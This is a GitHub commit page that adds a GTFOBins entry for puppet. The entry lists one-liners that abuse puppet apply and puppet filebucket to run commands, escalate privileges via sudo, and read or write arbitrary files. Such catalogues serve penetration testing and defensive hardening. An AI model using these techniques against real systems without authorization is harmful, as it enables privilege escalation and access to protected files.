Skip to content

Commit

Permalink
Merge pull request GTFOBins#5 from roman-mueller/master
Browse files Browse the repository at this point in the history
Add puppet
  • Loading branch information
epinna committed Jun 2, 2018
2 parents b3c405e + 144e51b commit ce47cfd
Showing 1 changed file with 19 additions and 0 deletions.
19 changes: 19 additions & 0 deletions _gtfobins/puppet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
---
functions:
execute-non-interactive:
- code: |
export CMD="/usr/bin/id"
puppet apply -e "exec { '${CMD}': }"
sudo-enabled:
- code: |
export CMD="/usr/bin/id"
sudo puppet apply -e "exec { '${CMD}': }"
file-read:
- code: |
export LFILE=file_to_read
puppet filebucket -l diff /dev/null ${LFILE}
file-write:
- code: |
export LFILE="/tmp/file_to_write"
puppet apply -e "file { '${LFILE}': content => 'data' }"
---

0 comments on commit ce47cfd

Please sign in to comment.